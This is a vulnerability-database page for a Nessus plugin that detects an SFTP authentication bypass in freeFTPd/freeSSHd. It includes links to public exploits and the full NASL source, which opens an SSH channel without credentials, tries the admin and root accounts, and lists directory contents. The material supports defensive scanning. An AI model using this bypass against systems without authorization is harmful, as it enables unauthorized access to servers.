freeFTPd / freeSSHd SFTP Authentication Bypass - Nessus
High Plugin ID: 63223This page contains detailed information about the freeFTPd / freeSSHd SFTP Authentication Bypass Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.
Plugin Overview
ID: 63223
Name: freeFTPd / freeSSHd SFTP Authentication Bypass
Filename: freeftpd_sftp_auth_bypass.nasl
Vulnerability Published: 2010-08-11
This Plugin Published: 2012-12-11
Last Modification Time: 2020-06-12
Plugin Version: 1.17
Plugin Type: remote
Plugin Family: Gain a shell remotely
Dependencies:
ssh_detect.nasl
Excluded KB Items [?]: global_settings/supplied_logins_only
Vulnerability Information
Severity: High
Vulnerability Published: 2010-08-11
Patch Published: N/A
CVE [?]: CVE-2012-6066, CVE-2012-6067
CPE [?]: cpe:/a:freeftpd:freeftpd, cpe:/a:freesshd:freesshd
Synopsis
The SFTP server running on the remote host has an authentication bypass vulnerability.
Description
The SFTP server included with freeFTPd or freeSSHd has an authentication bypass vulnerability. Authentication can be bypassed by opening an SSH channel before any credentials are provided. A remote, unauthenticated attacker could exploit this to login without providing credentials.
After logging in, uploading specially crafted files could result in arbitrary code execution as SYSTEM. Refer to the researcher's advisory for more information.
Solution
There is no known solution at this time.
Public Exploits
Target Network Port(s): 22
Target Asset(s): Services/ssh
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Core Impact)
Exploit Ease: Exploits are available
Here's the list of publicly known exploits and PoCs for verifying the freeFTPd / freeSSHd SFTP Authentication Bypass vulnerability:
- Metasploit: exploit/windows/ssh/freesshd_authbypass
[Freesshd Authentication Bypass] - Exploit-DB: exploits/windows/remote/23079.txt
[EDB-23079: freeFTPd 1.2.6 - Remote Authentication Bypass] - Exploit-DB: exploits/windows/remote/23080.txt
[EDB-23080: freeSSHd 2.1.3 - Remote Authentication Bypass] - Exploit-DB: exploits/windows/remote/24133.rb
[EDB-24133: freeSSHd 1.2.6 - Authentication Bypass (Metasploit)] - GitHub: https://github.com/offensive-security/exploitdb-bin-sploits/blob/master/bin-sploits/23079.zip
[EDB-23079] - GitHub: https://github.com/offensive-security/exploitdb-bin-sploits/blob/master/bin-sploits/23080.zip
[EDB-23080] - GitHub: https://github.com/bongbongco/CVE-2012-6066
[CVE-2012-6066: FreeSSHD Remote Authentication Bypass Vulnerability (freeSSHd 2.1.3)]
Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.
WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.
Risk Information
CVSS Score Source [?]: CVE-2012-6067
CVSS V2 Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:U/RC:C
CVSS Base Score: | 10.0 (High) |
Impact Subscore: | 10.0 |
Exploitability Subscore: | 10.0 |
CVSS Temporal Score: | 9.5 (High) |
CVSS Environmental Score: | NA (None) |
Modified Impact Subscore: | NA |
Overall CVSS Score: | 9.5 (High) |
CVSS Base Score: | 7.3 (High) |
Impact Subscore: | 3.4 |
Exploitability Subscore: | 3.9 |
CVSS Temporal Score: | 7.1 (High) |
CVSS Environmental Score: | NA (None) |
Modified Impact Subscore: | NA |
Overall CVSS Score: | 7.1 (High) |
Go back to menu.
Plugin Source
This is the freeftpd_sftp_auth_bypass.nasl nessus plugin source code. This script is Copyright (C) 2012-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(63223);
script_version("1.17");
script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
script_cve_id("CVE-2012-6066", "CVE-2012-6067");
script_bugtraq_id(56782, 56785);
script_xref(name:"EDB-ID", value:"23079");
script_xref(name:"EDB-ID", value:"23080");
script_xref(name:"EDB-ID", value:"24133");
script_name(english:"freeFTPd / freeSSHd SFTP Authentication Bypass");
script_summary(english:"Tries to bypass auth and get a dir listing");
script_set_attribute(attribute:"synopsis", value:
"The SFTP server running on the remote host has an authentication bypass
vulnerability.");
script_set_attribute(attribute:"description", value:
"The SFTP server included with freeFTPd or freeSSHd has an
authentication bypass vulnerability. Authentication can be bypassed by
opening an SSH channel before any credentials are provided. A remote,
unauthenticated attacker could exploit this to login without providing
credentials.
After logging in, uploading specially crafted files could result in
arbitrary code execution as SYSTEM. Refer to the researcher's advisory
for more information.");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2010/Aug/132");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2012/Dec/10");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2012/Dec/11");
script_set_attribute(attribute:"solution", value:
"There is no known solution at this time.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L");
script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:U/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-6067");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploit_framework_core", value:"true");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'Freesshd Authentication Bypass');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2010/08/11");
script_set_attribute(attribute:"plugin_publication_date", value:"2012/12/11");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:freeftpd:freeftpd");
script_set_attribute(attribute:"cpe", value:"cpe:/a:freesshd:freesshd");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"Gain a shell remotely");
script_copyright(english:"This script is Copyright (C) 2012-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("ssh_detect.nasl");
script_exclude_keys("global_settings/supplied_logins_only");
script_require_ports("Services/ssh", 22);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("ssh_func.inc");
include("ssh_fxp_func.inc");
checking_default_account_dont_report = TRUE;
enable_ssh_wrappers();
if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);
port = get_service(svc:'ssh', default:22, exit_on_fail:TRUE);
# Make sure the SSH service looks like freeFTPd or freeSSHd
if (report_paranoia < 2 && banner = get_kb_item("SSH/banner/" + port))
{
# freeFTPd 1.0.11 freeSSHd 1.2.6
if ('WeOnlyDo-wodFTPD' >!< banner && '-WeOnlyDo ' >!< banner) audit(AUDIT_NOT_LISTEN, 'freeFTPd/freeSSHd SFTP Server', port);
}
dir = '/'; # dir to get a listing of after bypassing authentication
MAX_DISPLAYED_FILES = 10;
users = make_list(
'administrator',
'admin',
'root'
);
want_reply = (report_paranoia == 0);
foreach user (users)
{
_ssh_socket = open_sock_tcp(port);
if (!_ssh_socket) audit(AUDIT_SOCK_FAIL, port);
# initialization
init();
server_version = ssh_exchange_identification();
if (!server_version)
{
ssh_close_connection();
exit(1, get_ssh_error());
}
_ssh_server_version = server_version;
# key exchange
ret = ssh_kex2(server_version:server_version, nofingerprint:TRUE);
if (ret != 0)
{
ssh_close_connection();
exit(1, get_ssh_error());
}
if (!ssh_req_svc("ssh-userauth"))
{
ssh_close_connection();
exit(0, "The SSH service listening on port "+port+" does not support 'ssh-userauth'.");
}
# We're only going to send the userauth request, not actually log in
payload =
putstring(buffer:user) +
putstring(buffer:"ssh-connection") +
putstring(buffer:"keyboard-interactive") +
putstring(buffer:"en-US") +
putstring(buffer:"");
send_ssh_packet(code:SSH_MSG_USERAUTH_REQUEST, payload:payload);
# Check the response for SSH_MSG_USERAUTH_INFO_REQUEST
res = recv_ssh_packet();
code = ord(res[0]);
if(code != SSH_MSG_USERAUTH_INFO_REQUEST)
{
ssh_close_connection();
audit(AUDIT_LISTEN_NOT_VULN, 'SSH', port);
}
# we'll only be able to open a channel w/o auth against vulnerable servers
ret = ssh_open_channel();
if (ret != 0)
{
ssh_close_connection();
audit(AUDIT_LISTEN_NOT_VULN, 'SSH', port);
}
# Check if the subsystem is supported.
ret = ssh_request_subsystem(subsystem:"sftp", want_reply:want_reply);
if (!ret)
{
ssh_close_connection();
exit(0, "The SSH service listening on port "+port+" does not support SFTP.");
}
# Initialize the connection.
fxp_protocol_version = 3;
ssh_fxp_send_packet(type:SSH_FXP_INIT, data:raw_int32(fxp_protocol_version));
# nb: if the username is not defined in freeSSHd, there will be a
# so we don't want to exit.
res = ssh_fxp_recv_packet(exit_on_fail:FALSE);
if (isnull(res))
{
ssh_close_connection();
continue;
}
if (res['type'] != SSH_FXP_VERSION)
{
ssh_close_connection();
exit(0, "The SSH server listening on port "+port+" responded with a packet type that was " + ord(res['type']) + ", not SSH_FXP_VERSION (" + SSH_FXP_VERSION + ")");
}
val = ntol(buffer:res['data'], begin:0);
if (val != fxp_protocol_version)
{
ssh_close_connection();
exit(0, "The SSH server listening on port "+port+" does not support version " + _ssh_fxp_protocol_version + " of the SFTP protocol; it supports " + val + ".");
}
if (report_verbosity > 0)
{
report = '\n' + 'Nessus was able to bypass authentication and gain access to the' +
'\n' + 'following account :' +
'\n' +
'\n' + ' ' + user;
listing = ssh_fxp_get_listing(dir:dir, max_files:MAX_DISPLAYED_FILES);
if (!isnull(listing))
{
report += '\n' +
'\n' + 'And it was able to collect the following listing of \'' + dir + '\' :' +
'\n';
foreach file (sort(keys(listing['files'])))
{
report += '\n' + ' ' + listing['files'][file];
}
if (listing['truncated'])
{
report += '\n' +
'\n' + 'Note that this listing is incomplete and limited to ' + MAX_DISPLAYED_FILES + ' entries.';
}
security_hole(port:port, extra:report);
}
else security_hole(port);
ssh_fxp_close_connection();
exit(0);
}
}
ssh_close_connection();
audit(AUDIT_LISTEN_NOT_VULN, "freeFTPd / freeSSHd", port);
The latest version of this script can be found in these locations depending on your platform:
- Linux / Unix:
/opt/nessus/lib/nessus/plugins/freeftpd_sftp_auth_bypass.nasl
- Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\freeftpd_sftp_auth_bypass.nasl
- Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/freeftpd_sftp_auth_bypass.nasl
Go back to menu.
How to Run
Here is how to run the freeFTPd / freeSSHd SFTP Authentication Bypass as a standalone plugin via the Nessus web user interface (https://localhost:8834/):
- Click to start a New Scan.
- Select Advanced Scan.
- Navigate to the Plugins tab.
- On the top right corner click to Disable All plugins.
- On the left side table select Gain a shell remotely plugin family.
- On the right side table select freeFTPd / freeSSHd SFTP Authentication Bypass plugin ID 63223.
- Specify the target on the Settings tab and click to Save the scan.
- Run the scan.
Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.
Basic usage:
/opt/nessus/bin/nasl freeftpd_sftp_auth_bypass.nasl -t <IP/HOST>
Run the plugin with audit trail message on the console:
/opt/nessus/bin/nasl -a freeftpd_sftp_auth_bypass.nasl -t <IP/HOST>
Run the plugin with trace script execution written to the console (useful for debugging):
/opt/nessus/bin/nasl -T - freeftpd_sftp_auth_bypass.nasl -t <IP/HOST>
Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):
/opt/nessus/bin/nasl -K /tmp/state freeftpd_sftp_auth_bypass.nasl -t <IP/HOST>
Go back to menu.
References
BID | SecurityFocus Bugtraq ID: See also:
- https://www.tenable.com/plugins/nessus/63223
- https://seclists.org/fulldisclosure/2010/Aug/132
- https://seclists.org/fulldisclosure/2012/Dec/10
- https://seclists.org/fulldisclosure/2012/Dec/11
- https://vulners.com/nessus/FREEFTPD_SFTP_AUTH_BYPASS.NASL
Version
This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file freeftpd_sftp_auth_bypass.nasl version 1.17. For more plugins, visit the Nessus Plugin Library.
Go back to menu.